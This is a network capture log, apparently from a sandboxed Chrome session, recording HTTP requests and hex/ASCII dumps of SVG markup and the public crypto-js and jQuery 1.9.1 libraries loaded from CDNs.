2024-12-17 21:23:32 UTC	1369	IN	Data Raw: 34 34 20 31 33 33 2e 30 32 20 31 34 36 2e 36 31 31 20 31 33 37 2e 34 31 32 20 31 34 36 2e 36 31 31 20 31 34 32 2e 38 33 31 43 31 34 36 2e 36 31 31 20 31 34 38 2e 32 34 39 20 31 34 32 2e 33 34 34 20 31 35 32 2e 36 34 31 20 31 33 37 2e 30 38 31 20 31 35 32 2e 36 34 31 5a 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 66 69 6c 6c 3d 22 23 43 35 45 42 46 35 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 2f 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 67 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 67 20 73 74 79 6c 65 3d 22 6d 69 78 2d 62 6c 65 6e 64 2d 6d 6f 64 65 3a 20 6d 75 6c 74 69 70 6c 79 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 70 61 74 68 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 64 3d 22 4d 31 30 33 2e 30 37 34 20 31 34 32 2e 38 33 31 43 31 30 33 2e 30 Data Ascii: 44 133.02 146.611 137.412 146.611 142.831C146.611 148.249 142.344 152.641 137.081 152.641Z" fill="#C5EBF5" /> </g> <g style="mix-blend-mode: multiply"> <path d="M103.074 142.831C103.0
2024-12-17 21:23:32 UTC	1369	IN	Data Raw: 20 20 20 20 20 20 20 20 64 3d 22 4d 31 33 37 2e 30 38 37 20 37 35 2e 36 33 35 48 31 34 32 2e 31 37 37 56 37 39 2e 37 33 37 39 48 31 33 37 2e 30 38 37 56 37 35 2e 36 33 35 5a 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 69 6c 6c 3d 22 23 30 30 35 35 44 43 22 0a 20 20 20 20 20 20 20 20 20 20 2f 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 70 61 74 68 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 3d 22 4d 31 32 39 2e 38 35 32 20 37 35 2e 36 33 35 48 31 33 34 2e 39 33 34 56 37 39 2e 37 33 37 39 48 31 32 39 2e 38 35 32 56 37 35 2e 36 33 35 5a 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 69 6c 6c 3d 22 23 30 30 35 35 44 43 22 0a 20 20 20 20 20 20 20 20 20 20 2f 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 70 61 74 68 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 3d 22 4d 31 33 37 Data Ascii: d="M137.087 75.635H142.177V79.7379H137.087V75.635Z" fill="#0055DC" /> <path d="M129.852 75.635H134.934V79.7379H129.852V75.635Z" fill="#0055DC" /> <path d="M137

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.16	49726	104.17.24.14	443	7016	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-17 21:24:45 UTC	589	OUT	GET /ajax/libs/crypto-js/4.1.1/crypto-js.min.js HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://pub-c51a5b71098c4a50b29ad0816d037292.r2.dev/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-17 21:24:46 UTC	952	IN	HTTP/1.1 200 OK Date: Tue, 17 Dec 2024 21:24:46 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: W/"61182885-40eb" Last-Modified: Sat, 14 Aug 2021 20:33:09 GMT cf-cdnjs-via: cfworker/kv Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff CF-Cache-Status: HIT Age: 529933 Expires: Sun, 07 Dec 2025 21:24:46 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=z1pylJ6IETj4srJroZMhfeEgvUjAC0yVhBBqnZy4SkWDWeOmCVivnNTtSxfhPcaukvnrxgKmay0MSW7uVwzXrXh8MIhlQoJksxZbTBGIJXgtrtEoaC97SfIeTnNdy8C3WQMaF9QD"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 Server: cloudflare CF-RAY: 8f39fb5bced8440d-EWR alt-svc: h3=":443"; ma=86400
2024-12-17 21:24:46 UTC	417	IN	Data Raw: 37 62 66 39 0d 0a 21 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 78 70 6f 72 74 73 3d 65 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 5b 5d 2c 65 29 3a 74 2e 43 72 79 70 74 6f 4a 53 3d 65 28 29 7d 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 6e 2c 6f 2c 73 2c 61 2c 68 2c 74 2c 65 2c 6c 2c 72 2c 69 2c 63 2c 66 2c 64 2c 75 2c 70 2c 53 2c 78 2c 62 2c 41 2c 48 2c 7a 2c 5f 2c 76 2c 67 2c 79 2c 42 2c 77 2c 6b 2c 6d 2c 43 2c 44 2c 45 2c 52 2c 4d 2c 46 2c 50 2c 57 2c 4f 2c 49 2c 55 3d 55 7c 7c 66 75 6e 63 74 69 6f 6e 28 68 29 7b Data Ascii: 7bf9!function(t,e){"object"==typeof exports?module.exports=exports=e():"function"==typeof define&&define.amd?define([],e):t.CryptoJS=e()}(this,function(){var n,o,s,a,h,t,e,l,r,i,c,f,d,u,p,S,x,b,A,H,z,_,v,g,y,B,w,k,m,C,D,E,R,M,F,P,W,O,I,U=U\|\|function(h){
2024-12-17 21:24:46 UTC	1369	IN	Data Raw: 6c 54 68 69 73 26 26 67 6c 6f 62 61 6c 54 68 69 73 2e 63 72 79 70 74 6f 3f 67 6c 6f 62 61 6c 54 68 69 73 2e 63 72 79 70 74 6f 3a 69 29 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2e 6d 73 43 72 79 70 74 6f 3f 77 69 6e 64 6f 77 2e 6d 73 43 72 79 70 74 6f 3a 69 29 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 26 26 67 6c 6f 62 61 6c 2e 63 72 79 70 74 6f 3f 67 6c 6f 62 61 6c 2e 63 72 79 70 74 6f 3a 69 29 26 26 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 72 65 71 75 69 72 65 29 74 72 79 7b 69 3d 72 65 71 75 69 72 65 28 22 63 72 79 70 74 6f 22 29 7d 63 61 74 63 68 28 74 29 7b 7d 76 61 72 20 72 3d 4f 62 6a 65 63 74 2e 63 72 65 61 74 65 7c 7c 66 75 Data Ascii: lThis&&globalThis.crypto?globalThis.crypto:i)&&"undefined"!=typeof window&&window.msCrypto?window.msCrypto:i)&&"undefined"!=typeof global&&global.crypto?global.crypto:i)&&"function"==typeof require)try{i=require("crypto")}catch(t){}var r=Object.create\|\|fu
2024-12-17 21:24:46 UTC	1369	IN	Data Raw: 69 73 29 3b 72 65 74 75 72 6e 20 74 2e 77 6f 72 64 73 3d 74 68 69 73 2e 77 6f 72 64 73 2e 73 6c 69 63 65 28 30 29 2c 74 7d 2c 72 61 6e 64 6f 6d 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 66 6f 72 28 76 61 72 20 65 3d 5b 5d 2c 72 3d 30 3b 72 3c 74 3b 72 2b 3d 34 29 65 2e 70 75 73 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 69 29 7b 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 69 2e 67 65 74 52 61 6e 64 6f 6d 56 61 6c 75 65 73 29 74 72 79 7b 72 65 74 75 72 6e 20 69 2e 67 65 74 52 61 6e 64 6f 6d 56 61 6c 75 65 73 28 6e 65 77 20 55 69 6e 74 33 32 41 72 72 61 79 28 31 29 29 5b 30 5d 7d 63 61 74 63 68 28 74 29 7b 7d 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 69 2e 72 61 6e 64 6f 6d 42 79 74 65 73 29 74 72 79 7b 72 65 Data Ascii: is);return t.words=this.words.slice(0),t},random:function(t){for(var e=[],r=0;r<t;r+=4)e.push(function(){if(i){if("function"==typeof i.getRandomValues)try{return i.getRandomValues(new Uint32Array(1))[0]}catch(t){}if("function"==typeof i.randomBytes)try{re
2024-12-17 21:24:46 UTC	1369	IN	Data Raw: 26 28 74 3d 66 2e 70 61 72 73 65 28 74 29 29 2c 74 68 69 73 2e 5f 64 61 74 61 2e 63 6f 6e 63 61 74 28 74 29 2c 74 68 69 73 2e 5f 6e 44 61 74 61 42 79 74 65 73 2b 3d 74 2e 73 69 67 42 79 74 65 73 7d 2c 5f 70 72 6f 63 65 73 73 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 2c 72 3d 74 68 69 73 2e 5f 64 61 74 61 2c 69 3d 72 2e 77 6f 72 64 73 2c 6e 3d 72 2e 73 69 67 42 79 74 65 73 2c 6f 3d 74 68 69 73 2e 62 6c 6f 63 6b 53 69 7a 65 2c 73 3d 6e 2f 28 34 2a 6f 29 2c 63 3d 28 73 3d 74 3f 68 2e 63 65 69 6c 28 73 29 3a 68 2e 6d 61 78 28 28 30 7c 73 29 2d 74 68 69 73 2e 5f 6d 69 6e 42 75 66 66 65 72 53 69 7a 65 2c 30 29 29 2a 6f 2c 6e 3d 68 2e 6d 69 6e 28 34 2a 63 2c 6e 29 3b 69 66 28 63 29 7b 66 6f 72 28 76 61 72 20 61 3d 30 3b 61 3c 63 3b 61 2b 3d 6f 29 74 Data Ascii: &(t=f.parse(t)),this._data.concat(t),this._nDataBytes+=t.sigBytes},_process:function(t){var e,r=this._data,i=r.words,n=r.sigBytes,o=this.blockSize,s=n/(4o),c=(s=t?h.ceil(s):h.max((0\|s)-this._minBufferSize,0))o,n=h.min(4*c,n);if(c){for(var a=0;a<c;a+=o)t
2024-12-17 21:24:46 UTC	1369	IN	Data Raw: 68 69 73 2e 5f 58 2c 65 3d 74 68 69 73 2e 5f 43 2c 72 3d 30 3b 72 3c 38 3b 72 2b 2b 29 45 5b 72 5d 3d 65 5b 72 5d 3b 65 5b 30 5d 3d 65 5b 30 5d 2b 31 32 39 35 33 30 37 35 39 37 2b 74 68 69 73 2e 5f 62 7c 30 2c 65 5b 31 5d 3d 65 5b 31 5d 2b 33 35 34 35 30 35 32 33 37 31 2b 28 65 5b 30 5d 3e 3e 3e 30 3c 45 5b 30 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 32 5d 3d 65 5b 32 5d 2b 38 38 36 32 36 33 30 39 32 2b 28 65 5b 31 5d 3e 3e 3e 30 3c 45 5b 31 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 33 5d 3d 65 5b 33 5d 2b 31 32 39 35 33 30 37 35 39 37 2b 28 65 5b 32 5d 3e 3e 3e 30 3c 45 5b 32 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 34 5d 3d 65 5b 34 5d 2b 33 35 34 35 30 35 32 33 37 31 2b 28 65 5b 33 5d 3e 3e 3e 30 3c 45 5b 33 5d 3e 3e 3e 30 3f 31 3a 30 29 7c Data Ascii: his._X,e=this._C,r=0;r<8;r++)E[r]=e[r];e[0]=e[0]+1295307597+this._b\|0,e[1]=e[1]+3545052371+(e[0]>>>0<E[0]>>>0?1:0)\|0,e[2]=e[2]+886263092+(e[1]>>>0<E[1]>>>0?1:0)\|0,e[3]=e[3]+1295307597+(e[2]>>>0<E[2]>>>0?1:0)\|0,e[4]=e[4]+3545052371+(e[3]>>>0<E[3]>>>0?1:0)\|
2024-12-17 21:24:46 UTC	1369	IN	Data Raw: 3b 72 3c 38 3b 72 2b 2b 29 7b 76 61 72 20 69 3d 74 5b 72 5d 2b 65 5b 72 5d 2c 6e 3d 36 35 35 33 35 26 69 2c 6f 3d 69 3e 3e 3e 31 36 3b 49 5b 72 5d 3d 28 28 6e 2a 6e 3e 3e 3e 31 37 29 2b 6e 2a 6f 3e 3e 3e 31 35 29 2b 6f 2a 6f 5e 28 28 34 32 39 34 39 30 31 37 36 30 26 69 29 2a 69 7c 30 29 2b 28 28 36 35 35 33 35 26 69 29 2a 69 7c 30 29 7d 74 5b 30 5d 3d 49 5b 30 5d 2b 28 49 5b 37 5d 3c 3c 31 36 7c 49 5b 37 5d 3e 3e 3e 31 36 29 2b 28 49 5b 36 5d 3c 3c 31 36 7c 49 5b 36 5d 3e 3e 3e 31 36 29 7c 30 2c 74 5b 31 5d 3d 49 5b 31 5d 2b 28 49 5b 30 5d 3c 3c 38 7c 49 5b 30 5d 3e 3e 3e 32 34 29 2b 49 5b 37 5d 7c 30 2c 74 5b 32 5d 3d 49 5b 32 5d 2b 28 49 5b 31 5d 3c 3c 31 36 7c 49 5b 31 5d 3e 3e 3e 31 36 29 2b 28 49 5b 30 5d 3c 3c 31 36 7c 49 5b 30 5d 3e 3e 3e 31 36 29 Data Ascii: ;r<8;r++){var i=t[r]+e[r],n=65535&i,o=i>>>16;I[r]=((nn>>>17)+no>>>15)+oo^((4294901760&i)i\|0)+((65535&i)*i\|0)}t[0]=I[0]+(I[7]<<16\|I[7]>>>16)+(I[6]<<16\|I[6]>>>16)\|0,t[1]=I[1]+(I[0]<<8\|I[0]>>>24)+I[7]\|0,t[2]=I[2]+(I[1]<<16\|I[1]>>>16)+(I[0]<<16\|I[0]>>>16)
2024-12-17 21:24:46 UTC	1369	IN	Data Raw: 65 4f 66 66 73 65 74 2c 74 2e 62 79 74 65 4c 65 6e 67 74 68 29 3a 74 29 69 6e 73 74 61 6e 63 65 6f 66 20 55 69 6e 74 38 41 72 72 61 79 29 7b 66 6f 72 28 76 61 72 20 65 3d 74 2e 62 79 74 65 4c 65 6e 67 74 68 2c 72 3d 5b 5d 2c 69 3d 30 3b 69 3c 65 3b 69 2b 2b 29 72 5b 69 3e 3e 3e 32 5d 7c 3d 74 5b 69 5d 3c 3c 32 34 2d 69 25 34 2a 38 3b 73 2e 63 61 6c 6c 28 74 68 69 73 2c 72 2c 65 29 7d 65 6c 73 65 20 73 2e 61 70 70 6c 79 28 74 68 69 73 2c 61 72 67 75 6d 65 6e 74 73 29 7d 29 2e 70 72 6f 74 6f 74 79 70 65 3d 50 29 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 55 2c 6e 3d 74 2e 6c 69 62 2e 57 6f 72 64 41 72 72 61 79 2c 74 3d 74 2e 65 6e 63 3b 74 2e 55 74 66 31 36 3d 74 2e 55 74 66 31 36 42 45 3d 7b 73 74 72 69 6e 67 69 66 79 3a 66 75 6e 63 74 69 6f 6e Data Ascii: eOffset,t.byteLength):t)instanceof Uint8Array){for(var e=t.byteLength,r=[],i=0;i<e;i++)r[i>>>2]\|=t[i]<<24-i%4*8;s.call(this,r,e)}else s.apply(this,arguments)}).prototype=P),function(){var t=U,n=t.lib.WordArray,t=t.enc;t.Utf16=t.Utf16BE={stringify:function
2024-12-17 21:24:46 UTC	1369	IN	Data Raw: 34 29 3b 72 65 74 75 72 6e 21 6f 7c 7c 2d 31 21 3d 3d 28 6f 3d 74 2e 69 6e 64 65 78 4f 66 28 6f 29 29 26 26 28 65 3d 6f 29 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 72 29 7b 66 6f 72 28 76 61 72 20 69 3d 5b 5d 2c 6e 3d 30 2c 6f 3d 30 3b 6f 3c 65 3b 6f 2b 2b 29 7b 76 61 72 20 73 2c 63 3b 6f 25 34 26 26 28 73 3d 72 5b 74 2e 63 68 61 72 43 6f 64 65 41 74 28 6f 2d 31 29 5d 3c 3c 6f 25 34 2a 32 2c 63 3d 72 5b 74 2e 63 68 61 72 43 6f 64 65 41 74 28 6f 29 5d 3e 3e 3e 36 2d 6f 25 34 2a 32 2c 63 3d 73 7c 63 2c 69 5b 6e 3e 3e 3e 32 5d 7c 3d 63 3c 3c 32 34 2d 6e 25 34 2a 38 2c 6e 2b 2b 29 7d 72 65 74 75 72 6e 20 61 2e 63 72 65 61 74 65 28 69 2c 6e 29 7d 28 74 2c 65 2c 69 29 7d 2c 5f 6d 61 70 3a 22 41 42 43 44 45 46 47 48 49 4a 4b 4c 4d 4e 4f 50 51 52 53 54 55 56 57 Data Ascii: 4);return!o\|\|-1!==(o=t.indexOf(o))&&(e=o),function(t,e,r){for(var i=[],n=0,o=0;o<e;o++){var s,c;o%4&&(s=r[t.charCodeAt(o-1)]<<o%42,c=r[t.charCodeAt(o)]>>>6-o%42,c=s\|c,i[n>>>2]\|=c<<24-n%4*8,n++)}return a.create(i,n)}(t,e,i)},_map:"ABCDEFGHIJKLMNOPQRSTUVW
2024-12-17 21:24:46 UTC	1369	IN	Data Raw: 2b 31 29 29 7c 30 7d 28 29 3b 65 3d 65 2e 4d 44 35 3d 69 2e 65 78 74 65 6e 64 28 7b 5f 64 6f 52 65 73 65 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 5f 68 61 73 68 3d 6e 65 77 20 72 2e 69 6e 69 74 28 5b 31 37 33 32 35 38 34 31 39 33 2c 34 30 32 33 32 33 33 34 31 37 2c 32 35 36 32 33 38 33 31 30 32 2c 32 37 31 37 33 33 38 37 38 5d 29 7d 2c 5f 64 6f 50 72 6f 63 65 73 73 42 6c 6f 63 6b 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 66 6f 72 28 76 61 72 20 72 3d 30 3b 72 3c 31 36 3b 72 2b 2b 29 7b 76 61 72 20 69 3d 65 2b 72 2c 6e 3d 74 5b 69 5d 3b 74 5b 69 5d 3d 31 36 37 31 31 39 33 35 26 28 6e 3c 3c 38 7c 6e 3e 3e 3e 32 34 29 7c 34 32 37 38 32 35 35 33 36 30 26 28 6e 3c 3c 32 34 7c 6e 3e 3e 3e 38 29 7d 76 61 72 20 6f 3d 74 68 69 73 2e 5f 68 61 73 68 Data Ascii: +1))\|0}();e=e.MD5=i.extend({_doReset:function(){this._hash=new r.init([1732584193,4023233417,2562383102,271733878])},_doProcessBlock:function(t,e){for(var r=0;r<16;r++){var i=e+r,n=t[i];t[i]=16711935&(n<<8\|n>>>24)\|4278255360&(n<<24\|n>>>8)}var o=this._hash
2024-12-17 21:24:46 UTC	1369	IN	Data Raw: 2c 62 2c 78 2c 53 2c 42 2c 34 2c 41 5b 34 30 5d 29 2c 53 3d 43 28 53 2c 6d 2c 62 2c 78 2c 73 2c 31 31 2c 41 5b 34 31 5d 29 2c 78 3d 43 28 78 2c 53 2c 6d 2c 62 2c 68 2c 31 36 2c 41 5b 34 32 5d 29 2c 62 3d 43 28 62 2c 78 2c 53 2c 6d 2c 64 2c 32 33 2c 41 5b 34 33 5d 29 2c 6d 3d 43 28 6d 2c 62 2c 78 2c 53 2c 5f 2c 34 2c 41 5b 34 34 5d 29 2c 53 3d 43 28 53 2c 6d 2c 62 2c 78 2c 67 2c 31 31 2c 41 5b 34 35 5d 29 2c 78 3d 43 28 78 2c 53 2c 6d 2c 62 2c 6b 2c 31 36 2c 41 5b 34 36 5d 29 2c 6d 3d 44 28 6d 2c 62 3d 43 28 62 2c 78 2c 53 2c 6d 2c 61 2c 32 33 2c 41 5b 34 37 5d 29 2c 78 2c 53 2c 73 2c 36 2c 41 5b 34 38 5d 29 2c 53 3d 44 28 53 2c 6d 2c 62 2c 78 2c 75 2c 31 30 2c 41 5b 34 39 5d 29 2c 78 3d 44 28 78 2c 53 2c 6d 2c 62 2c 77 2c 31 35 2c 41 5b 35 30 5d 29 2c 62 Data Ascii: ,b,x,S,B,4,A[40]),S=C(S,m,b,x,s,11,A[41]),x=C(x,S,m,b,h,16,A[42]),b=C(b,x,S,m,d,23,A[43]),m=C(m,b,x,S,_,4,A[44]),S=C(S,m,b,x,g,11,A[45]),x=C(x,S,m,b,k,16,A[46]),m=D(m,b=C(b,x,S,m,a,23,A[47]),x,S,s,6,A[48]),S=D(S,m,b,x,u,10,A[49]),x=D(x,S,m,b,w,15,A[50]),b

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.16	49727	151.101.194.137	443	7016	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-17 21:24:45 UTC	557	OUT	GET /jquery-1.9.1.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://pub-c51a5b71098c4a50b29ad0816d037292.r2.dev/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-17 21:24:46 UTC	613	IN	HTTP/1.1 200 OK Connection: close Content-Length: 268381 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-4185d" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Age: 2450478 Date: Tue, 17 Dec 2024 21:24:46 GMT X-Served-By: cache-lga21952-LGA, cache-ewr-kewr1740067-EWR X-Cache: HIT, HIT X-Cache-Hits: 523, 0 X-Timer: S1734470686.046781,VS0,VE1 Vary: Accept-Encoding
2024-12-17 21:24:46 UTC	1378	IN	Data Raw: 2f 2a 21 0a 20 2a 20 6a 51 75 65 72 79 20 4a 61 76 61 53 63 72 69 70 74 20 4c 69 62 72 61 72 79 20 76 31 2e 39 2e 31 0a 20 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 2e 63 6f 6d 2f 0a 20 2a 0a 20 2a 20 49 6e 63 6c 75 64 65 73 20 53 69 7a 7a 6c 65 2e 6a 73 0a 20 2a 20 68 74 74 70 3a 2f 2f 73 69 7a 7a 6c 65 6a 73 2e 63 6f 6d 2f 0a 20 2a 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 30 35 2c 20 32 30 31 32 20 6a 51 75 65 72 79 20 46 6f 75 6e 64 61 74 69 6f 6e 2c 20 49 6e 63 2e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 0a 20 2a 20 52 65 6c 65 61 73 65 64 20 75 6e 64 65 72 20 74 68 65 20 4d 49 54 20 6c 69 63 65 6e 73 65 0a 20 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 0a 20 2a 0a 20 2a 20 44 Data Ascii: /! jQuery JavaScript Library v1.9.1 * http://jquery.com/ * * Includes Sizzle.js * http://sizzlejs.com/ * * Copyright 2005, 2012 jQuery Foundation, Inc. and other contributors * Released under the MIT license * http://jquery.org/license * * D
2024-12-17 21:24:46 UTC	1378	IN	Data Raw: 4f 66 2c 0a 09 63 6f 72 65 5f 74 6f 53 74 72 69 6e 67 20 3d 20 63 6c 61 73 73 32 74 79 70 65 2e 74 6f 53 74 72 69 6e 67 2c 0a 09 63 6f 72 65 5f 68 61 73 4f 77 6e 20 3d 20 63 6c 61 73 73 32 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2c 0a 09 63 6f 72 65 5f 74 72 69 6d 20 3d 20 63 6f 72 65 5f 76 65 72 73 69 6f 6e 2e 74 72 69 6d 2c 0a 0a 09 2f 2f 20 44 65 66 69 6e 65 20 61 20 6c 6f 63 61 6c 20 63 6f 70 79 20 6f 66 20 6a 51 75 65 72 79 0a 09 6a 51 75 65 72 79 20 3d 20 66 75 6e 63 74 69 6f 6e 28 20 73 65 6c 65 63 74 6f 72 2c 20 63 6f 6e 74 65 78 74 20 29 20 7b 0a 09 09 2f 2f 20 54 68 65 20 6a 51 75 65 72 79 20 6f 62 6a 65 63 74 20 69 73 20 61 63 74 75 61 6c 6c 79 20 6a 75 73 74 20 74 68 65 20 69 6e 69 74 20 63 6f 6e 73 74 72 75 63 74 6f 72 20 27 Data Ascii: Of,core_toString = class2type.toString,core_hasOwn = class2type.hasOwnProperty,core_trim = core_version.trim,// Define a local copy of jQueryjQuery = function( selector, context ) {// The jQuery object is actually just the init constructor '
2024-12-17 21:24:46 UTC	1378	IN	Data Raw: 65 72 0a 09 63 6f 6d 70 6c 65 74 65 64 20 3d 20 66 75 6e 63 74 69 6f 6e 28 20 65 76 65 6e 74 20 29 20 7b 0a 0a 09 09 2f 2f 20 72 65 61 64 79 53 74 61 74 65 20 3d 3d 3d 20 22 63 6f 6d 70 6c 65 74 65 22 20 69 73 20 67 6f 6f 64 20 65 6e 6f 75 67 68 20 66 6f 72 20 75 73 20 74 6f 20 63 61 6c 6c 20 74 68 65 20 64 6f 6d 20 72 65 61 64 79 20 69 6e 20 6f 6c 64 49 45 0a 09 09 69 66 20 28 20 64 6f 63 75 6d 65 6e 74 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 20 7c 7c 20 65 76 65 6e 74 2e 74 79 70 65 20 3d 3d 3d 20 22 6c 6f 61 64 22 20 7c 7c 20 64 6f 63 75 6d 65 6e 74 2e 72 65 61 64 79 53 74 61 74 65 20 3d 3d 3d 20 22 63 6f 6d 70 6c 65 74 65 22 20 29 20 7b 0a 09 09 09 64 65 74 61 63 68 28 29 3b 0a 09 09 09 6a 51 75 65 72 79 2e 72 65 61 64 79 28 29 3b 0a 09 09 Data Ascii: ercompleted = function( event ) {// readyState === "complete" is good enough for us to call the dom ready in oldIEif ( document.addEventListener \|\| event.type === "load" \|\| document.readyState === "complete" ) {detach();jQuery.ready();
2024-12-17 21:24:46 UTC	1378	IN	Data Raw: 7b 0a 0a 09 09 09 09 2f 2f 20 48 41 4e 44 4c 45 3a 20 24 28 68 74 6d 6c 29 20 2d 3e 20 24 28 61 72 72 61 79 29 0a 09 09 09 09 69 66 20 28 20 6d 61 74 63 68 5b 31 5d 20 29 20 7b 0a 09 09 09 09 09 63 6f 6e 74 65 78 74 20 3d 20 63 6f 6e 74 65 78 74 20 69 6e 73 74 61 6e 63 65 6f 66 20 6a 51 75 65 72 79 20 3f 20 63 6f 6e 74 65 78 74 5b 30 5d 20 3a 20 63 6f 6e 74 65 78 74 3b 0a 0a 09 09 09 09 09 2f 2f 20 73 63 72 69 70 74 73 20 69 73 20 74 72 75 65 20 66 6f 72 20 62 61 63 6b 2d 63 6f 6d 70 61 74 0a 09 09 09 09 09 6a 51 75 65 72 79 2e 6d 65 72 67 65 28 20 74 68 69 73 2c 20 6a 51 75 65 72 79 2e 70 61 72 73 65 48 54 4d 4c 28 0a 09 09 09 09 09 09 6d 61 74 63 68 5b 31 5d 2c 0a 09 09 09 09 09 09 63 6f 6e 74 65 78 74 20 26 26 20 63 6f 6e 74 65 78 74 2e 6e 6f 64 65 54 Data Ascii: {// HANDLE: $(html) -> $(array)if ( match[1] ) {context = context instanceof jQuery ? context[0] : context;// scripts is true for back-compatjQuery.merge( this, jQuery.parseHTML(match[1],context && context.nodeT
2024-12-17 21:24:46 UTC	1378	IN	Data Raw: 65 63 74 6f 72 3b 0a 09 09 09 09 09 72 65 74 75 72 6e 20 74 68 69 73 3b 0a 09 09 09 09 7d 0a 0a 09 09 09 2f 2f 20 48 41 4e 44 4c 45 3a 20 24 28 65 78 70 72 2c 20 24 28 2e 2e 2e 29 29 0a 09 09 09 7d 20 65 6c 73 65 20 69 66 20 28 20 21 63 6f 6e 74 65 78 74 20 7c 7c 20 63 6f 6e 74 65 78 74 2e 6a 71 75 65 72 79 20 29 20 7b 0a 09 09 09 09 72 65 74 75 72 6e 20 28 20 63 6f 6e 74 65 78 74 20 7c 7c 20 72 6f 6f 74 6a 51 75 65 72 79 20 29 2e 66 69 6e 64 28 20 73 65 6c 65 63 74 6f 72 20 29 3b 0a 0a 09 09 09 2f 2f 20 48 41 4e 44 4c 45 3a 20 24 28 65 78 70 72 2c 20 63 6f 6e 74 65 78 74 29 0a 09 09 09 2f 2f 20 28 77 68 69 63 68 20 69 73 20 6a 75 73 74 20 65 71 75 69 76 61 6c 65 6e 74 20 74 6f 3a 20 24 28 63 6f 6e 74 65 78 74 29 2e 66 69 6e 64 28 65 78 70 72 29 0a 09 09 Data Ascii: ector;return this;}// HANDLE: $(expr, $(...))} else if ( !context \|\| context.jquery ) {return ( context \|\| rootjQuery ).find( selector );// HANDLE: 